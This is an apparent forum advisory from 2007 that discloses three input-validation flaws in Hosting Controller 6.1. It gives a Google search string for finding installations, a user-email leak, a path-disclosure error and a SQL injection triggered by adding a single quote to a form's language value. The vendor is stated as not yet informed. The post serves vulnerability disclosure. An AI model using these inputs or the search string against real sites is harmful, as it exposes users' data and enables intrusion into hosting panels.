Hosting Controller 6.1, hotfix 3.3 - Bad Input validation

Just some more vulnerabilities of Hosting Controller:

Software: Hosting Controller 6.1, latest hot fix 3.3
URL: http://www.hostingcontroller.com
Google hack keywords: "Powered by hosting controller inurl:/admin"
Severity: Medium
Found by Z0rr0 (dont know if anyone else already found them) - July 15, 2007

1. Information leak at "forgotpassword.asp" page to disclose users email.
URL: http://domain.com/admin/forgotpassword.asp
Exploit: Enter an known user account, such as "hcadmin", this will show you exact email of user "hcadmin"
Code:

Your Password Authentication ID has been e-mailed to you at <a href="mailto:email@emai.com">email@emai.com</a>

2. Bad input validation at "forgotpassword.asp" cause information leakage
URL: http://domain.com/admin/forgotpassword.asp
Exploit: Inject a single quote to Login ID field of "forgotpassword" page. It cause an '800a000d' error with path disclosed

Code:

.......... <font face="Arial" size=2>
<p>Microsoft VBScript runtime </font> <font face="Arial" size=2>error '800a000d'</font>
<p>
<font face="Arial" size=2>Type mismatch: 'GetErrDesc'</font>
<p>
<font face="Arial" size=2>/admin/common/SqlInject.asp</font><font face="Arial" size=2>, line 21</font>

3. Bad input validation at "relogin.asp" Language field, causes SQL injection:
URL: http://domain.com/admin/common/relogin.asp
Exploit: Relogin form as below:
Code:

<form action="http://domain.com/admin/common/relogin.asp?action=1" method="GET" id="loginfrm" name="loginfrm">
............
<td class="contents" width="110" height="22" align="right">Username :   </td>
<td class="contents" width="227" height="22"><input id="AdName" name="AdName" size="20" class="txtbox"></td>
..............
<td class="contents" width="110" height="22" align="right">Password :   </td>
<td class="contents" width="227" height="22"><input type="password" id="pass1" name="pass1" size="20" class="txtbox"></td>
.................
<td class="contents" width="110" height="22" align="right">Language :   </td>
<td class="contents" height="22">
<select name="language" class="combo" ID="Select1"><option selected VALUE="1'">English</option>
<option VALUE="2">.....</option>
................
</form>

Change the Value="1" to Value="1'" (add a single quote).

This cause a Blind SQL injection "500 Internal Server Error":
Code:

Microsoft OLE DB Provider for ODBC Drivers
error '80040e14'
[Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression 'languageID = 1''

Vendor not yet be informed.
(Z0rr0)

Users currently in here

1 Anonymous